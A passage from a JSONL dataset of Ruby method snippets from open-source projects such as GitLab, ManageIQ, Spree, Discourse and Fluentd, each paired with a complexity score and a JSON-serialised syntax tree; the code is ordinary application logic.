sym\",\"children\":[\"to\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"MergeRequests\"]},\"MergeableEvent\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},\"subscribe\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"MergeRequests\"]},\"CreateApprovalEventWorker\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"MergeRequests\"]},\"ApprovedEvent\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},\"subscribe\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"MergeRequests\"]},\"CreateApprovalNoteWorker\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"MergeRequests\"]},\"ApprovedEvent\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},\"subscribe\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"MergeRequests\"]},\"ResolveTodosAfterApprovalWorker\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"MergeRequests\"]},\"ApprovedEvent\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},\"subscribe\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"MergeRequests\"]},\"ExecuteApprovalHooksWorker\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"MergeRequests\"]},\"ApprovedEvent\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},\"subscribe\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ml\"]},\"ExperimentTracking\"]},\"AssociateMlCandidateToPackageWorker\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"PackageCreatedEvent\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ml\"]},\"ExperimentTracking\"]},\"AssociateMlCandidateToPackageWorker\"]},\"handles_event?\",{\"type\":\"lvar\",\"children\":[\"event\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},\"subscribe\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"InitializePipelinesIidSequenceWorker\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Projects\"]},\"ProjectCreatedEvent\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},\"subscribe\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Pages\"]},\"DeletePagesDeploymentWorker\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Projects\"]},\"ProjectArchivedEvent\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},\"subscribe\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Pages\"]},\"ResetPagesDefaultDomainRedirectWorker\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Pages\"]},\"Domains\"]},\"PagesDomainDeletedEvent\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},\"subscribe\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"MergeRequests\"]},\"ProcessDraftNotePublishedWorker\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"MergeRequests\"]},\"DraftNotePublishedEvent\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"subscribe_to_member_destroyed_events\",{\"type\":\"lvar\",\"children\":[\"store\"]}]},{\"type\":\"send\",\"children\":[null,\"subscribe_to_namespace_transfered_events\",{\"type\":\"lvar\",\"children\":[\"store\"]}]}]}]}","id":"e1fb2ba5-5291-4d79-98a5-cd43b64b454b"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/service_template_provision_task.rb","start_line":82,"raw_source":"def create_child_tasks\n    parent_svc = Service.find_by(:id => options[:parent_service_id])\n    parent_name = parent_svc.nil? ? 'none' : \"#{parent_svc.class.name}:#{parent_svc.id}\"\n    _log.info(\"- creating service tasks for service <#{self.class.name}:#{id}> with parent service <#{parent_name}>\")\n\n    tasks = source.create_tasks_for_service(self, parent_svc)\n    tasks.each { |t| miq_request_tasks << t }\n    _log.info(\"- created <#{tasks.length}> service tasks for service <#{self.class.name}:#{id}> with parent service <#{parent_name}>\")\n  end","complexity_score":31.9,"ast_json":"{\"type\":\"def\",\"children\":[\"create_child_tasks\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parent_svc\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Service\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"parent_service_id\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"parent_name\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_svc\"]},\"nil?\"]},{\"type\":\"str\",\"children\":[\"none\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_svc\"]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_svc\"]},\"id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"- creating service tasks for service <\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"str\",\"children\":[\"> with parent service <\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_name\"]}]},{\"type\":\"str\",\"children\":[\">\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tasks\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source\"]},\"create_tasks_for_service\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"parent_svc\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tasks\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"miq_request_tasks\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"t\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"- created <\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tasks\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\"> service tasks for service <\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"str\",\"children\":[\"> with parent service <\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_name\"]}]},{\"type\":\"str\",\"children\":[\">\"]}]}]}]}]}","id":"fcbc1bd4-c2ce-443c-ba29-67d246a1eb30"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/resource_controller.rb","start_line":54,"raw_source":"def create\n    invoke_callbacks(:create, :before)\n    set_created_by\n    @object.attributes = permitted_resource_params\n    if @object.save\n      invoke_callbacks(:create, :after)\n      respond_to do |format|\n        if create_turbo_stream_enabled?\n          format.turbo_stream do\n            flash.now[:success] = message_after_create\n          end\n        end\n        format.html do\n          flash[:success] = message_after_create\n          redirect_to location_after_create, status: :see_other\n        end\n      end\n    else\n      invoke_callbacks(:create, :fails)\n      respond_to do |format|\n        if create_turbo_stream_enabled?\n          format.turbo_stream do\n            flash.now[:error] = @object.errors.full_messages.join(', ')\n          end\n        end\n        format.html { render action: :new, status: :unprocessable_entity }\n      end\n    end\n  end","complexity_score":57.1,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"invoke_callbacks\",{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"sym\",\"children\":[\"before\"]}]},{\"type\":\"send\",\"children\":[null,\"set_created_by\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"attributes=\",{\"type\":\"send\",\"children\":[null,\"permitted_resource_params\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"save\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"invoke_callbacks\",{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"sym\",\"children\":[\"after\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_turbo_stream_enabled?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"turbo_stream\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"now\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"send\",\"children\":[null,\"message_after_create\"]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"send\",\"children\":[null,\"message_after_create\"]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"location_after_create\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"see_other\"]}]}]}]}]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"invoke_callbacks\",{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"sym\",\"children\":[\"fails\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_turbo_stream_enabled?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"turbo_stream\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"now\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"errors\"]},\"full_messages\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"sym\",\"children\":[\"new\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]}]}]}]}]}]}]}","id":"01d488be-55ff-4cf2-b13b-6ae899674074"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/embedded_ansible/automation_manager/amazon_credential.rb","start_line":46,"raw_source":"def self.display_name(number = 1)\n    n_('Credential (Amazon)', 'Credentials (Amazon)', number)\n  end","complexity_score":2.25,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"display_name\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"number\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"n_\",{\"type\":\"str\",\"children\":[\"Credential (Amazon)\"]},{\"type\":\"str\",\"children\":[\"Credentials (Amazon)\"]},{\"type\":\"lvar\",\"children\":[\"number\"]}]}]}","id":"3b971cb8-5733-403c-9cf2-3883bc31269f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/namespace.rb","start_line":782,"raw_source":"def certificate_based_clusters_enabled?\n    cluster_enabled_granted? || certificate_based_clusters_enabled_ff?\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"certificate_based_clusters_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cluster_enabled_granted?\"]},{\"type\":\"send\",\"children\":[null,\"certificate_based_clusters_enabled_ff?\"]}]}]}","id":"420a17f1-5add-4277-b1d5-4bade7e0ef7f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250914215222_cleanup_null_records_for_prometheus_in_conversational_development_index_metrics.rb","start_line":23,"raw_source":"def down\n    Metric.each_batch(of: BATCH_SIZE) do |relation|\n      relation.where(leader_projects_prometheus_active: nil)\n        .update_all(leader_projects_prometheus_active: 0.0)\n\n      relation.where(instance_projects_prometheus_active: nil)\n        .update_all(instance_projects_prometheus_active: 0.0)\n    end\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metric\"]},\"each_batch\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of\"]},{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relation\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"leader_projects_prometheus_active\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"leader_projects_prometheus_active\"]},{\"type\":\"float\",\"children\":[0.0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instance_projects_prometheus_active\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instance_projects_prometheus_active\"]},{\"type\":\"float\",\"children\":[0.0]}]}]}]}]}]}]}","id":"4f733834-e255-4c37-9317-0b24497be52a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request.rb","start_line":2160,"raw_source":"def compare_codequality_reports\n    unless has_codequality_reports?\n      return { status: :error, status_reason: _('This merge request does not have codequality reports') }\n    end\n\n    compare_reports(Ci::CompareCodequalityReportsService)\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"compare_codequality_reports\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_codequality_reports?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"error\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status_reason\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"This merge request does not have codequality reports\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"compare_reports\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"CompareCodequalityReportsService\"]}]}]}]}","id":"e5c17569-bbae-49f3-bfa6-bbf079e813c8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/terraform_module/process_package_file_service.rb","start_line":14,"raw_source":"def execute\n        raise ExtractionError, 'invalid package file' unless valid_package_file?\n\n        result = nil\n\n        with_archive_file do |archive_file|\n          result = ::Packages::TerraformModule::Metadata::ExtractFilesService.new(archive_file).execute\n        end\n\n        if result&.success?\n          ::Packages::TerraformModule::Metadata::UpdateService.new(package_file.package, result.payload).execute\n        end\n\n        ServiceResponse.success\n      end","complexity_score":19.7,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_package_file?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ExtractionError\"]},{\"type\":\"str\",\"children\":[\"invalid package file\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_archive_file\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"archive_file\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"TerraformModule\"]},\"Metadata\"]},\"ExtractFilesService\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"archive_file\"]}]},\"execute\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"success?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"TerraformModule\"]},\"Metadata\"]},\"UpdateService\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"package_file\"]},\"package\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"payload\"]}]},\"execute\"]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\"]}]}]}","id":"bedcb820-a5ab-4e15-b79a-7e2991090c63"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/discuz_x.rb","start_line":1040,"raw_source":"def find_post_id_by_quote_number(raw)\n    case raw\n    when /\\[url=forum.php\\?mod=redirect&goto=findpost&pid=(\\d+)&ptid=\\d+\\]/ #standard\n      $1\n    when %r{\\[url=https?://#{ORIGINAL_SITE_PREFIX}/redirect.php\\?goto=findpost&pid=(\\d+)&ptid=\\d+\\]} # old discuz 7 format\n      $1\n    when %r{\\[quote\\][\\S\\s]*pid=(\\d+)[\\S\\s]*\\[/quote\\]} # quote\n      $1\n    end\n  end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"find_post_id_by_quote_number\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"raw\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\[url=forum.php\\\\?mod=redirect&goto=findpost&pid=(\\\\d+)&ptid=\\\\d+\\\\]\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\[url=https?://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ORIGINAL_SITE_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"/redirect.php\\\\?goto=findpost&pid=(\\\\d+)&ptid=\\\\d+\\\\]\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\[quote\\\\][\\\\S\\\\s]*pid=(\\\\d+)[\\\\S\\\\s]*\\\\[/quote\\\\]\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"nth_ref\",\"children\":[1]}]},null]}]}","id":"d2fadda0-8f83-4e60-8bee-4998fb56badb"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/output.rb","start_line":701,"raw_source":"def validate_time!\n          sec = @argument[:sec]\n          title = @argument[:title]\n          example = @argument[:example]\n          timekey = @argument[:timekey]\n          if !sec && timekey\n            raise Fluent::ConfigError, \"Parameter '#{name}: #{string}' doesn't have timestamp placeholders for timekey #{timekey.to_i}\"\n          end\n          if sec && !timekey\n            raise Fluent::ConfigError, \"Parameter '#{name}: #{string}' has timestamp placeholders, but chunk key 'time' is not configured\"\n          end\n          if sec && timekey && timekey < sec\n            raise Fluent::ConfigError, \"Parameter '#{name}: #{string}' doesn't have timestamp placeholder for #{title}('#{example}') for timekey #{timekey.to_i}\"\n          end\n        end","complexity_score":32.2,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_time!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sec\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@argument\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sec\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"title\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@argument\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"title\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"example\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@argument\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"example\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"timekey\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@argument\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"timekey\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sec\"]},\"!\"]},{\"type\":\"lvar\",\"children\":[\"timekey\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"ConfigError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Parameter '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"string\"]}]},{\"type\":\"str\",\"children\":[\"' doesn't have timestamp placeholders for timekey \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timekey\"]},\"to_i\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sec\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timekey\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"ConfigError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Parameter '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"string\"]}]},{\"type\":\"str\",\"children\":[\"' has timestamp placeholders, but chunk key 'time' is not configured\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sec\"]},{\"type\":\"lvar\",\"children\":[\"timekey\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timekey\"]},\"<\",{\"type\":\"lvar\",\"children\":[\"sec\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"ConfigError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Parameter '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"string\"]}]},{\"type\":\"str\",\"children\":[\"' doesn't have timestamp placeholder for 